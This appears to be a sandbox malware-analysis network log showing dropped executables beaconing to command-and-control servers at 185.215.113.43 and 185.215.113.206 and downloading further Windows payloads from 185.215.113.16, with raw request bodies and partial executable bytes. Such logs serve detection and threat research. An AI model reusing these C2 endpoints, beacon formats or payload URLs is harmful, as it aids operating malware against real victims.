Oct 30, 2024 05:25:45.363759995 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 35 33 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002538001&unit=246122658369
Oct 30, 2024 05:25:46.274126053 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 04:25:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	50034	185.215.113.43	80	3700	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:25:48.009490967 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 05:25:48.920974016 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 04:25:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	50036	34.107.221.82	80	1812	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:25:49.427006006 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 05:25:50.033036947 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 29 Oct 2024 16:15:31 GMT Age: 43818 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 30, 2024 05:26:00.047626972 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	50039	185.215.113.43	80	3700	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:25:50.673996925 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 30, 2024 05:25:51.596693039 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 04:25:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	50043	185.215.113.43	80	3700	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:25:53.292582035 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 05:25:54.166536093 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 04:25:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	50044	185.215.113.16	80	504	C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:25:53.489022017 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 30, 2024 05:25:54.399940968 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 04:25:54 GMT Content-Type: application/octet-stream Content-Length: 2899456 Last-Modified: Wed, 30 Oct 2024 03:12:16 GMT Connection: keep-alive ETag: "6721a410-2c3e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2c 00 00 04 00 00 f0 41 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$, `@ ,A,`Ui` @ @.rsrc`2@.idata 8@mljriapp++:@mudtavgt ,,@.taggant@,",@
Oct 30, 2024 05:25:54.399969101 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 05:25:54.399985075 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 05:25:54.400001049 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 05:25:54.400017977 CET	848	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 05:25:54.400036097 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 05:25:54.400052071 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 05:25:54.400074959 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: \HtJIIoPX[[HdSCdIOMKL;TUMhAtj?LJLN
Oct 30, 2024 05:25:54.400090933 CET	1236	IN	Data Raw: 8f a8 4e 79 0b d4 c0 ce 07 6b 0f 17 63 3f 4f e7 4e 50 73 44 06 61 60 d6 40 8d 46 0a c0 50 78 39 3f 61 5a ad 40 8b b6 7f 45 ef 44 c5 7e 8d 4c 16 05 1a 8f 0f 47 a4 d5 40 8e 44 54 52 46 70 48 a7 02 62 c8 55 c3 ba 1c 4c fc 50 b2 ce 6f 50 c8 78 45 fb Data Ascii: Nykc?ONPsDa`@FPx9?aZ@ED~LG@DTRFpHbULPoPxEDOa+@ShIXgi;cwYRR2eKRsr[[G'd{zE+TwQKcJ`}MGEIrOJeWaJ_IYz`m\|QOSQBe!furLe\|sYpKQOyaDsQ
Oct 30, 2024 05:25:54.400106907 CET	1236	IN	Data Raw: 38 b8 b3 aa a6 c6 b2 7f a0 ad b8 24 3e 0e b1 ab ae 9f 7b 9d 80 ac 94 af a9 b0 27 4f 45 8e af b5 ab e9 c1 b3 aa 8c a3 0e 33 bb 17 84 59 9d 2e af b5 b4 05 6e b0 a1 4b 85 82 d1 99 ab a0 c7 90 b8 aa b7 b7 cf 4d 8f 1e 7e 0e ad 56 aa ae a8 45 af 9b 54 Data Ascii: 8$>{'OE3Y.nKM~VETtZw1?MHd}XmaBIX:zFN/pWhChENCSS@3QS=[:UgruH8Y`X'^t-X
Oct 30, 2024 05:25:54.405477047 CET	1236	IN	Data Raw: db e4 a5 80 78 f7 61 49 57 51 0a 20 a8 03 11 4b 69 17 49 76 67 c0 d1 0e e4 93 31 95 8c 9b 90 24 84 41 aa 8f 50 53 d1 7b c7 67 27 4d 72 84 5a 8f 28 ad 21 2a 7e 7f 88 9e b3 1d 4c 1a 84 e6 d0 db c4 5d 62 5c 5b a0 70 33 e5 62 e4 53 10 9f 50 9a 5e 8f Data Ascii: xaIWQ KiIvg1$APS{g'MrZ(!~L]b\[p3bSP^ugg%\ZK_egOD^e#OUyr=tseQNTt9Ay>wF$5O`8HJ'7FK\tV_YE9[~:R\|EXUQLUR\|P>9eI1=uMZNf8
Oct 30, 2024 05:26:02.185699940 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 30, 2024 05:26:02.468885899 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 04:26:02 GMT Content-Type: application/octet-stream Content-Length: 1883648 Last-Modified: Wed, 30 Oct 2024 04:13:06 GMT Connection: keep-alive ETag: "6721b252-1cbe00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 90 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfJ@J @WkrJqJ @.rsrc@.idata @ *@jqddeztg0@hzelrcyvJ@.taggant0J"@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	50045	185.215.113.206	80	2536	C:\Users\user\AppData\Local\Temp\1002536001\7451ae0b11.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:25:54.171627045 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 05:25:55.098079920 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 04:25:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 05:25:55.102094889 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBGCBKFBGIIIECAAAKFC Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 47 43 42 4b 46 42 47 49 49 49 45 43 41 41 41 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 44 30 45 38 39 38 41 35 31 39 44 31 35 32 34 37 35 30 30 33 37 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 42 4b 46 42 47 49 49 49 45 43 41 41 41 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 42 4b 46 42 47 49 49 49 45 43 41 41 41 4b 46 43 2d 2d 0d 0a Data Ascii: ------CBGCBKFBGIIIECAAAKFCContent-Disposition: form-data; name="hwid"3D0E898A519D1524750037------CBGCBKFBGIIIECAAAKFCContent-Disposition: form-data; name="build"tale------CBGCBKFBGIIIECAAAKFC--
Oct 30, 2024 05:25:55.394582033 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 04:25:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	50046	185.215.113.43	80	3700	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:25:55.706084013 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 30, 2024 05:25:56.611819029 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 04:25:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	50047	185.215.113.43	80	3700	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:25:58.284200907 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 05:25:59.187252045 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 04:25:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	50048	185.215.113.43	80	3700	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:26:00.716305017 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 30, 2024 05:26:01.635437012 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 04:26:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	50049	185.215.113.206	80	4080	C:\Users\user\AppData\Local\Temp\1002538001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:26:02.485874891 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 05:26:03.348488092 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 04:26:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 05:26:03.378379107 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKFHJDAEHIEHJJKFBGDA Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 44 30 45 38 39 38 41 35 31 39 44 31 35 32 34 37 35 30 30 33 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 2d 2d 0d 0a Data Ascii: ------KKFHJDAEHIEHJJKFBGDAContent-Disposition: form-data; name="hwid"3D0E898A519D1524750037------KKFHJDAEHIEHJJKFBGDAContent-Disposition: form-data; name="build"tale------KKFHJDAEHIEHJJKFBGDA--
Oct 30, 2024 05:26:03.663052082 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 04:26:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	50050	185.215.113.43	80	3700	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:26:03.287815094 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 05:26:04.205857038 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 04:26:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	50055	185.215.113.43	80	3700	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:26:06.015779972 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 30, 2024 05:26:06.893495083 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 04:26:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	50058	34.107.221.82	80	2524	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:26:07.213062048 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 05:26:07.816996098 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Tue, 29 Oct 2024 13:44:17 GMT Age: 52910 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	50071	34.107.221.82	80	2524	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 05:26:08.045686960 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 30, 2024 05:26:08.641061068 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Tue, 29 Oct 2024 16:15:31 GMT Age: 43837 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
